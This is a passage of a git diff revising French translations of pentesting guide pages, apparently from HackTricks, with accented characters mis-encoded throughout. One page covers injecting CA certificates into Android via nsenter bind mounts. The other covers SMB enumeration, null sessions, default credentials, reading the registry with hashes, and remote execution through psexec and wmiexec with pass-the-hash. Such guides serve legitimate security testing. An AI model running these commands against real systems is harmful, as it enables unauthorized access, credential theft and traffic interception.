exĂ©cution rapide pour Ă©viter des plantages systĂšme. Pour garantir l’application des changements Ă  l’échelle du systĂšme, il est recommandĂ© de redĂ©marrer le `system_server`, ce qui redĂ©marre effectivement toutes les applications et ramĂšne le systĂšme Ă  un Ă©tat cohĂ©rent. +NĂ©anmoins, une solution de contournement existe pour ceux qui doivent modifier les certificats CA approuvĂ©s par le systĂšme dans le rĂ©pertoire **`/apex`**. Cela implique de remonter manuellement **`/apex`** pour supprimer la propagation PRIVATE, rendant ainsi le rĂ©pertoire modifiable. Le processus inclut la copie du contenu de **`/apex/com.android.conscrypt`** vers un autre emplacement, le dĂ©montage du rĂ©pertoire **`/apex/com.android.conscrypt`** pour Ă©liminer la contrainte en lecture seule, puis la restauration du contenu Ă  son emplacement d’origine dans **`/apex`**. Cette approche nĂ©cessite une action rapide pour Ă©viter des plantages systĂšme. Pour garantir l’application de ces changements Ă  l’échelle du systĂšme, il est recommandĂ© de redĂ©marrer le `system_server`, ce qui redĂ©marre effectivement toutes les applications et ramĂšne le systĂšme Ă  un Ă©tat cohĂ©rent. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -131,24 +131,24 @@ wait # Launched in parallel - wait for completion here echo "System certificate injected" ``` -### Bind-mounting through NSEnter +### Bind-mounting par NSEnter -1. **Setting Up a Writable Directory**: Initialement, un rĂ©pertoire inscriptible est créé en montant un `tmpfs` sur le rĂ©pertoire systĂšme de certificats non-APEX existant. Ceci est rĂ©alisĂ© avec la commande suivante : +1. **CrĂ©ation d'un rĂ©pertoire inscriptible** : Initialement, un rĂ©pertoire inscriptible est créé en montant un `tmpfs` par-dessus le rĂ©pertoire systĂšme de certificats non-APEX existant. Ceci est rĂ©alisĂ© avec la commande suivante : ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **PrĂ©paration des certificats CA** : AprĂšs la crĂ©ation du rĂ©pertoire en Ă©criture, les certificats CA que l'on souhaite utiliser doivent ĂȘtre copiĂ©s dans ce rĂ©pertoire. Cela peut impliquer de copier les certificats par dĂ©faut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les labels SELinux de ces certificats en consĂ©quence. -3. **Montage bind pour Zygote** : En utilisant `nsenter`, on entre dans le namespace de montage de Zygote. Zygote, Ă©tant le processus responsable du lancement des applications Android, nĂ©cessite cette Ă©tape afin de s'assurer que toutes les applications lancĂ©es Ă  partir de ce moment utilisent les certificats CA nouvellement configurĂ©s. La commande utilisĂ©e est : +2. **Preparing CA Certificates**: AprĂšs la configuration du rĂ©pertoire inscriptible, les CA certificates que l'on souhaite utiliser doivent ĂȘtre copiĂ©s dans ce rĂ©pertoire. Cela peut impliquer de copier les certificats par dĂ©faut depuis `/apex/com.android.conscrypt/cacerts/`. Il est essentiel d'ajuster les permissions et les SELinux labels de ces certificats en consĂ©quence. +3. **Bind Mounting for Zygote**: En utilisant `nsenter`, on entre dans le namespace de montage de Zygote. Zygote, Ă©tant le processus responsable du lancement des applications Android, nĂ©cessite cette Ă©tape afin de garantir que toutes les applications lancĂ©es dĂ©sormais utilisent les CA certificates nouvellement configurĂ©s. La commande utilisĂ©e est: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` Cela garantit que chaque nouvelle application dĂ©marrĂ©e respectera la configuration mise Ă  jour des certificats CA. -4. **Appliquer les modifications aux applications en cours d'exĂ©cution** : Pour appliquer les modifications aux applications dĂ©jĂ  en cours d'exĂ©cution, `nsenter` est Ă  nouveau utilisĂ© pour entrer dans l'espace de noms de chaque application individuellement et effectuer un bind mount similaire. La commande nĂ©cessaire est : +4. **Appliquer les changements aux applications en cours d'exĂ©cution**: Pour appliquer les changements aux applications dĂ©jĂ  en cours d'exĂ©cution, `nsenter` est Ă  nouveau utilisĂ© pour entrer dans l'espace de noms de chaque application individuellement et effectuer un bind mount similaire. La commande nĂ©cessaire est : ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Approche alternative — redĂ©marrage logiciel**: Une mĂ©thode alternative consiste Ă  effectuer le bind mount sur le processus `init` (PID 1), suivie d'un redĂ©marrage logiciel du systĂšme d'exploitation avec les commandes `stop && start`. Cette approche propagerait les changements Ă  travers tous les namespaces, Ă©vitant la nĂ©cessitĂ© de traiter individuellement chaque application en cours d'exĂ©cution. Cependant, cette mĂ©thode est gĂ©nĂ©ralement moins privilĂ©giĂ©e en raison de la gĂȘne occasionnĂ©e par le redĂ©marrage. +5. **Alternative Approach - Soft Reboot**: Une mĂ©thode alternative consiste Ă  effectuer le bind mount sur le processus `init` (PID 1), puis Ă  rĂ©aliser un soft reboot du systĂšme d'exploitation avec les commandes `stop && start`. Cette approche propagera les changements dans tous les namespaces, Ă©vitant d'avoir Ă  traiter individuellement chaque application en cours d'exĂ©cution. Cependant, cette mĂ©thode est gĂ©nĂ©ralement moins recommandĂ©e en raison de l'inconvĂ©nient du redĂ©marrage. ## RĂ©fĂ©rences diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 18f5e4359..c1a3ce574 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,58 +4,58 @@ ## **Port 139** -Le _**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PC et aux postes de travail d'un rĂ©seau local (LAN) d'interagir avec le matĂ©riel rĂ©seau et de **faciliter la transmission des donnĂ©es sur le rĂ©seau**. L'identification et la localisation des applications logicielles fonctionnant sur un rĂ©seau NetBIOS sont rĂ©alisĂ©es via leurs NetBIOS names, qui peuvent comporter jusqu'Ă  16 caractĂšres et sont souvent diffĂ©rents du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiĂ©e lorsqu'une application (jouant le rĂŽle du client) envoie une commande pour "call" une autre application (jouant le rĂŽle du serveur) en utilisant **TCP Port 139**. +_**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, aux PCs et aux Desktops au sein d'un rĂ©seau local (LAN) d'interagir avec le matĂ©riel rĂ©seau et **faciliter la transmission des donnĂ©es Ă  travers le rĂ©seau**. L'identification et la localisation des applications logicielles fonctionnant sur un rĂ©seau NetBIOS se font via leurs noms NetBIOS, qui peuvent comporter jusqu'Ă  16 caractĂšres et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiĂ©e lorsqu'une application (agissant en tant que client) Ă©met une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Techniquement, le port 139 est dĂ©signĂ© comme ‘NBT over IP’, tandis que le port 445 est identifiĂ© comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est aussi aujourd'hui connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole rĂ©seau de la couche application, SMB/CIFS est principalement utilisĂ© pour permettre l'accĂšs partagĂ© aux fichiers, aux imprimantes, aux ports sĂ©rie, et faciliter diverses formes de communication entre nƓuds d'un rĂ©seau. +Techniquement, le Port 139 est dĂ©signĂ© comme ‘NBT over IP’, alors que le Port 445 est identifiĂ© comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est aussi de nos jours connu sous le nom de **Common Internet File System (CIFS)**. En tant que protocole rĂ©seau de la couche application, SMB/CIFS est principalement utilisĂ© pour permettre l'accĂšs partagĂ© aux fichiers, imprimantes, ports sĂ©rie, et faciliter diverses formes de communication entre les nƓuds d'un rĂ©seau. -Par exemple, dans le contexte de Windows, on souligne que SMB peut fonctionner directement sur TCP/IP, Ă©liminant la nĂ©cessitĂ© de NetBIOS over TCP/IP, grĂące Ă  l'utilisation du port 445. À l'inverse, sur d'autres systĂšmes, l'emploi du port 139 est observĂ©, ce qui indique que SMB est exĂ©cutĂ© en conjonction avec NetBIOS over TCP/IP. +Par exemple, dans le contexte de Windows, il est soulignĂ© que SMB peut fonctionner directement sur TCP/IP, Ă©liminant la nĂ©cessitĂ© de NetBIOS over TCP/IP, grĂące Ă  l'utilisation du port 445. À l'inverse, sur d'autres systĂšmes, l'emploi du port 139 est observĂ©, ce qui indique que SMB est exĂ©cutĂ© conjointement avec NetBIOS over TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -Le protocole **Server Message Block (SMB)**, fonctionnant selon un modĂšle **client-server**, est conçu pour rĂ©guler l'**accĂšs aux fichiers**, aux rĂ©pertoires et Ă  d'autres ressources rĂ©seau telles que les imprimantes et les routeurs. Principalement utilisĂ© au sein de la famille de systĂšmes d'exploitation **Windows**, SMB garantit la compatibilitĂ© descendante, permettant aux appareils exĂ©cutant des versions plus rĂ©centes du systĂšme d'exploitation de Microsoft d'interagir sans heurt avec ceux exĂ©cutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logiciel libre permettant l'implĂ©mentation de SMB sur les systĂšmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB. +Le **Server Message Block (SMB)**, fonctionnant selon un modĂšle **client-serveur**, est conçu pour rĂ©guler **l'accĂšs aux fichiers**, aux rĂ©pertoires et Ă  d'autres ressources rĂ©seau comme les imprimantes et les routeurs. Principalement utilisĂ© au sein de la famille de systĂšmes d'exploitation **Windows**, SMB assure une compatibilitĂ© descendante, permettant aux appareils utilisant des versions plus rĂ©centes du systĂšme d'exploitation de Microsoft d'interagir sans heurts avec ceux exĂ©cutant des versions plus anciennes. De plus, le projet **Samba** propose une solution logicielle libre, permettant l'implĂ©mentation de SMB sur les systĂšmes **Linux** et Unix, facilitant ainsi la communication multiplateforme via SMB. -Shares, reprĂ©sentant des **parties arbitraires du systĂšme de fichiers local**, peuvent ĂȘtre fournis par un serveur SMB, rendant la hiĂ©rarchie visible au client en partie **indĂ©pendante** de la structure rĂ©elle du serveur. Les **Listes de contrĂŽle d'accĂšs (ACLs)**, qui dĂ©finissent les **droits d'accĂšs**, permettent un **contrĂŽle fin** des permissions des utilisateurs, incluant des attributs comme **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent ĂȘtre assignĂ©es Ă  des utilisateurs ou groupes individuels, en fonction des shares, et sont distinctes des permissions locales dĂ©finies sur le serveur. +Les Shares, reprĂ©sentant des **parties arbitraires du systĂšme de fichiers local**, peuvent ĂȘtre fournis par un serveur SMB, rendant la hiĂ©rarchie visible pour un client en partie **indĂ©pendante** de la structure rĂ©elle du serveur. Les **Access Control Lists (ACLs)**, qui dĂ©finissent les **droits d'accĂšs**, permettent un **contrĂŽle granulaire** des permissions des utilisateurs, incluant des attributs tels que **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent ĂȘtre attribuĂ©es Ă  des utilisateurs individuels ou Ă  des groupes, en fonction des Shares, et sont distinctes des permissions locales dĂ©finies sur le serveur. ### IPC$ Share -L'accĂšs au share IPC$ peut ĂȘtre obtenu via une null session anonyme, permettant d'interagir avec des services exposĂ©s via des named pipes. L'utilitaire `enum4linux` est utile Ă  cet effet. Bien utilisĂ©, il permet d'obtenir : +L'accĂšs au share IPC$ peut ĂȘtre obtenu via une null session anonyme, permettant d'interagir avec des services exposĂ©s via des named pipes. L'utilitaire `enum4linux` est utile pour cela. UtilisĂ© correctement, il permet l'acquisition de : -- Des informations sur le systĂšme d'exploitation -- Des dĂ©tails sur le domaine parent -- Une compilation des utilisateurs et groupes locaux -- Des informations sur les shares SMB disponibles -- La politique de sĂ©curitĂ© du systĂšme effective +- Informations sur le systĂšme d'exploitation +- DĂ©tails sur le domaine parent +- Une liste des utilisateurs et groupes locaux +- Informations sur les SMB shares disponibles +- La politique de sĂ©curitĂ© effective du systĂšme -Cette fonctionnalitĂ© est essentielle pour les administrateurs rĂ©seau et les professionnels de la sĂ©curitĂ© afin d'Ă©valuer la posture de sĂ©curitĂ© des services SMB (Server Message Block) sur un rĂ©seau. `enum4linux` fournit une vue complĂšte de l'environnement SMB de la cible, ce qui est indispensable pour identifier les vulnĂ©rabilitĂ©s potentielles et s'assurer que les services SMB sont correctement sĂ©curisĂ©s. +Cette fonctionnalitĂ© est cruciale pour les administrateurs rĂ©seau et les professionnels de la sĂ©curitĂ© afin d'Ă©valuer la posture de sĂ©curitĂ© des services SMB (Server Message Block) sur un rĂ©seau. `enum4linux` fournit une vue d'ensemble complĂšte de l'environnement SMB du systĂšme cible, ce qui est essentiel pour identifier les vulnĂ©rabilitĂ©s potentielles et s'assurer que les services SMB sont correctement sĂ©curisĂ©s. ```bash enum4linux -a target_ip ``` -La commande ci‑dessus est un exemple de la façon dont `enum4linux` peut ĂȘtre utilisĂ© pour effectuer une Ă©numĂ©ration complĂšte contre une cible spĂ©cifiĂ©e par `target_ip`. +La commande ci-dessus est un exemple de la façon dont `enum4linux` pourrait ĂȘtre utilisĂ© pour effectuer une Ă©numĂ©ration complĂšte contre une cible spĂ©cifiĂ©e par `target_ip`. ## Qu'est-ce que NTLM -Si vous ne connaissez pas NTLM ou si vous voulez savoir comment il fonctionne et comment l'exploiter, vous trouverez trĂšs intĂ©ressante cette page sur **NTLM** oĂč est expliquĂ© **comment ce protocole fonctionne et comment vous pouvez en tirer parti :** +Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment il fonctionne et comment l'abuser, vous trouverez trĂšs intĂ©ressante cette page sur **NTLM** oĂč est expliquĂ© **comment ce protocole fonctionne et comment vous pouvez en tirer parti :** {{#ref}} ../../windows-hardening/ntlm/ {{#endref}} -## **Server Enumeration** +## **ÉnumĂ©ration des serveurs** -### **Scan** d'un rĂ©seau Ă  la recherche d'hĂŽtes : +### **Scan** un rĂ©seau Ă  la recherche d'hĂŽtes: ```bash nbtscan -r 192.168.0.1/24 ``` ### Version du serveur SMB -Pour rechercher d'Ă©ventuels exploits pour la version SMB, il est important de savoir quelle version est utilisĂ©e. Si cette information n'apparaĂźt pas dans les autres outils utilisĂ©s, vous pouvez : +Pour rechercher d'Ă©ventuels exploits liĂ©s Ă  la version de SMB, il est important de savoir quelle version est utilisĂ©e. Si cette information n'apparaĂźt pas dans les autres outils utilisĂ©s, vous pouvez : - Utilisez le module auxiliaire **MSF** `**auxiliary/scanner/smb/smb_version**` - Ou ce script : @@ -80,9 +80,9 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Possibles** Identifiants +### Identifiants **possibles** -| **Identifiant(s)** | **Mots de passe courants** | +| **Username(s)** | **Common passwords** | | -------------------- | ----------------------------------------- | | _(blank)_ | _(blank)_ | | guest | _(blank)_ | @@ -96,7 +96,7 @@ searchsploit microsoft smb - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) -### Informations sur l'environnement SMB +### SMB Environment Information ### Obtenir des informations ```bash @@ -120,9 +120,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### ÉnumĂ©rer les utilisateurs, les groupes et les utilisateurs connectĂ©s +### ÉnumĂ©rer les utilisateurs, groupes & utilisateurs connectĂ©s -Ces informations devraient dĂ©jĂ  avoir Ă©tĂ© collectĂ©es par enum4linux et enum4linux-ng +Ces informations devraient dĂ©jĂ  ĂȘtre collectĂ©es par enum4linux et enum4linux-ng ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -150,20 +150,20 @@ use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **ÉnumĂ©ration LSARPC et SAMR rpcclient** +### **Enumerating LSARPC and SAMR rpcclient** {{#ref}} rpcclient-enumeration.md {{#endref}} -### Connexion GUI depuis linux +### Connexion GUI depuis Linux -#### Dans le terminal: +#### Dans le terminal : `xdg-open smb://cascade.htb/` -#### Dans une fenĂȘtre de gestionnaire de fichiers (nautilus, thunar, etc) +#### Dans la fenĂȘtre du gestionnaire de fichiers (nautilus, thunar, etc) `smb://friendzone.htb/general/` @@ -171,7 +171,7 @@ rpcclient-enumeration.md ### Lister les dossiers partagĂ©s -Il est toujours recommandĂ© de vĂ©rifier si vous pouvez accĂ©der Ă  quelque chose ; si vous n'avez pas de credentials, essayez d'utiliser **null** **credentials/guest user**. +Il est toujours recommandĂ© de vĂ©rifier si vous pouvez accĂ©der Ă  quelque chose ; si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Se connecter/Lister un dossier partagĂ©** +### **Se connecter / lister un dossier partagĂ©** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **ÉnumĂ©rer manuellement les partages Windows et s'y connecter** +### **EnumĂ©rer manuellement les partages Windows et s'y connecter** -Il se peut que vous ne puissiez pas afficher les partages de la machine hĂŽte et que, lorsque vous tentez de les lister, il semble qu'il n'y en ait aucun. Il peut donc ĂȘtre utile d'essayer de se connecter manuellement Ă  un partage. Pour Ă©numĂ©rer les partages manuellement, regardez les rĂ©ponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (e.g. null session or valid credentials). Elles peuvent indiquer si le partage existe mais que vous n'y avez pas accĂšs, ou s'il n'existe pas du tout. +Il se peut que vous soyez limitĂ© dans la possibilitĂ© d'afficher les partages de la machine hĂŽte et que, lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage disponible. Il peut donc valoir la peine d'essayer briĂšvement de se connecter manuellement Ă  un partage. Pour Ă©numĂ©rer les partages manuellement, vous pouvez rechercher des rĂ©ponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME lorsque vous utilisez une session valide (p.ex. null session ou identifiants valides). Celles-ci peuvent indiquer si le partage existe mais que vous n'y avez pas accĂšs, ou si le partage n'existe pas du tout. -Les noms de partages courants pour des cibles Windows sont +Common share names for windows targets are - C$ - D$ @@ -214,7 +214,7 @@ Les noms de partages courants pour des cibles Windows sont (Noms de partages courants issus de _**Network Security Assessment 3rd edition**_) -Vous pouvez essayer de vous y connecter en utilisant la commande suivante +Vous pouvez tenter de vous y connecter en utilisant la commande suivante ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -241,7 +241,7 @@ exemples smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **ÉnumĂ©rer les partages depuis Windows / sans outils tiers** +### **ÉnumĂ©rer les partages sous Windows / sans outils tiers** PowerShell ```bash @@ -253,7 +253,7 @@ get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` -console CMD +Invite de commandes (CMD) ```shell # List shares on the local computer net share @@ -267,7 +267,7 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (graphique), saisissez `\\\` pour voir les partages non cachĂ©s disponibles. +explorer.exe (graphique), entrez `\\\` pour voir les partages non masquĂ©s disponibles. ### Monter un dossier partagĂ© ```bash @@ -276,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **TĂ©lĂ©charger des fichiers** -Lisez les sections prĂ©cĂ©dentes pour apprendre comment se connecter Ă  l'aide de credentials/Pass-the-Hash. +Lisez les sections prĂ©cĂ©dentes pour apprendre comment vous connecter avec credentials/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -291,16 +291,16 @@ smbclient /// > mget * #Download everything to current directory ``` -Commandes: +Commandes : -- mask: spĂ©cifie le mask qui est utilisĂ© pour filtrer les fichiers dans le rĂ©pertoire (e.g. "" pour tous les fichiers) -- recurse: bascule la rĂ©cursion (default: off) -- prompt: bascule l'invite pour les noms de fichiers (default: on) -- mget: copie tous les fichiers correspondant au mask depuis la machine hĂŽte vers la machine cliente +- mask: spĂ©cifie le masque utilisĂ© pour filtrer les fichiers dans le rĂ©pertoire (par ex. "" pour tous les fichiers) +- recurse: active/dĂ©sactive la rĂ©cursion (par dĂ©faut : dĂ©sactivĂ©e) +- prompt: dĂ©sactive l'invite pour les noms de fichiers (par dĂ©faut : activĂ©e) +- mget: copie tous les fichiers correspondant au masque depuis la machine hĂŽte vers la machine cliente (_Informations extraites de la page de manuel de smbclient_) -### Recherche des dossiers partagĂ©s du domaine +### Recherche de dossiers partagĂ©s du domaine - [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash @@ -312,42 +312,42 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Parmi les Ă©lĂ©ments particuliĂšrement intĂ©ressants dans les partages se trouvent les fichiers appelĂ©s **`Registry.xml`** car ils **peuvent contenir des mots de passe** pour les utilisateurs configurĂ©s avec **autologon** via Group Policy. Ou les fichiers **`web.config`** car ils contiennent des identifiants. +Parmi les fichiers des partages, ceux appelĂ©s **`Registry.xml`** sont particuliĂšrement intĂ©ressants car ils **peuvent contenir des mots de passe** pour des utilisateurs configurĂ©s avec **autologon** via Group Policy. Les fichiers **`web.config`** sont aussi intĂ©ressants car ils contiennent des identifiants. > [!TIP] -> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiĂ©s du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell diffĂ©rents.\ -> Vous devriez **vĂ©rifier** les **scripts** qu'il contient car vous pourriez y **trouver** des informations sensibles telles que des **mots de passe**. +> Le **SYSVOL share** est **lisible** par tous les utilisateurs authentifiĂ©s du domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell **scripts**.\ +> Vous devriez **vĂ©rifier** les **scripts** qui s'y trouvent car vous pourriez **trouver** des informations sensibles telles que des **mots de passe**. ## Lire le registre -Vous pourriez ĂȘtre capable de **lire le registre** en utilisant des identifiants dĂ©couverts. Impacket **`reg.py`** vous permet d'essayer : +Vous pouvez ĂȘtre en mesure de **lire le registry** en utilisant des identifiants dĂ©couverts. Impacket **`reg.py`** vous permet d'essayer : ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## Post Exploitation +## Post-exploitation -La configuration par dĂ©faut d'un serveur Samba se trouve gĂ©nĂ©ralement dans `/etc/samba/smb.conf` et peut contenir des configurations dangereuses : +La **configuration par dĂ©faut de** ce serveur **Samba** se trouve gĂ©nĂ©ralement dans `/etc/samba/smb.conf` et peut contenir des **configurations dangereuses** : -| **Setting** | **Description** | +| **ParamĂštre** | **Description** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Autoriser l'affichage des partages disponibles ? | -| `read only = no` | Interdire la crĂ©ation et la modification de fichiers ? | -| `writable = yes` | Autoriser les utilisateurs Ă  crĂ©er et modifier des fichiers ? | -| `guest ok = yes` | Autoriser la connexion au service sans mot de passe ? | -| `enable privileges = yes` | Respecter les privilĂšges attribuĂ©s Ă  un SID spĂ©cifique ? | -| `create mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux fichiers créés ? | -| `directory mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux rĂ©pertoires créés ? | +| `browseable = yes` | Permet d'Ă©numĂ©rer les partages disponibles dans le partage courant ? | +| `read only = no` | Interdit la crĂ©ation et la modification de fichiers ? | +| `writable = yes` | Permet aux utilisateurs de crĂ©er et modifier des fichiers ? | +| `guest ok = yes` | Permet de se connecter au service sans mot de passe ? | +| `enable privileges = yes` | Respecter les privilĂšges assignĂ©s Ă  un SID spĂ©cifique ? | +| `create mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux fichiers nouvellement créés ? | +| `directory mask = 0777` | Quelles permissions doivent ĂȘtre assignĂ©es aux rĂ©pertoires nouvellement créés ? | | `logon script = script.sh` | Quel script doit ĂȘtre exĂ©cutĂ© lors de la connexion de l'utilisateur ? | -| `magic script = script.sh` | Quel script doit ĂȘtre exĂ©cutĂ© lorsque le script est fermĂ© ? | -| `magic output = script.out` | OĂč la sortie du magic script doit ĂȘtre stockĂ©e ? | +| `magic script = script.sh` | Quel script doit ĂȘtre exĂ©cutĂ© lorsque le script se termine ? | +| `magic output = script.out` | OĂč la sortie du magic script doit ĂȘtre stockĂ©e ? | -La commande `smbstatus` fournit des informations sur le **serveur** et sur **qui est connectĂ©**. +La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connectĂ©**. ## Authentification avec Kerberos -Vous pouvez vous authentifier auprĂšs de Kerberos en utilisant les outils smbclient et rpcclient : +Vous pouvez **vous authentifier** auprĂšs de **Kerberos** en utilisant les outils **smbclient** et **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -356,7 +356,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec peut exĂ©cuter des commandes **en abusant** de n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** Ă©tant la mĂ©thode **par dĂ©faut**. Vous pouvez indiquer quelle option vous prĂ©fĂ©rez utiliser avec le paramĂštre `--exec-method`: +crackmapexec peut exĂ©cuter des commandes en utilisant n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** Ă©tant la mĂ©thode **par dĂ©faut**. Vous pouvez indiquer quelle option vous prĂ©fĂ©rez utiliser avec le paramĂštre `--exec-method`: ```bash apt-get install crackmapexec @@ -380,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -Les deux options vont **crĂ©er un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exĂ©cuter quelque chose** (**psexec** va **upload** un fichier exĂ©cutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\ -**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ -Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/ +Les deux options vont **crĂ©er un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exĂ©cuter quelque chose** (**psexec** va **upload** un fichier exĂ©cutable vers ADMIN$ share et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**file-less technique-**-).\ +**Plus d'infos** sur [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)et [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +Dans **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -390,19 +390,19 @@ Sur **kali** il se trouve dans /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -En utilisant le **paramĂštre**`-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM** +En utilisant le **paramĂštre** `-k`, vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -ExĂ©cuter furtivement un shell de commande sans toucher au disque ni lancer un nouveau service en utilisant DCOM via **port 135.**\ -Sur **kali** il se trouve sur /usr/share/doc/python3-impacket/examples/ +ExĂ©cutez furtivement un shell de commandes sans toucher le disque ni lancer un nouveau service en utilisant DCOM via le **port 135.**\ +Dans **kali**, il se trouve dans /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -En utilisant le **paramĂštre**`-k` vous pouvez vous authentifier avec **kerberos** au lieu de **NTLM** +En utilisant 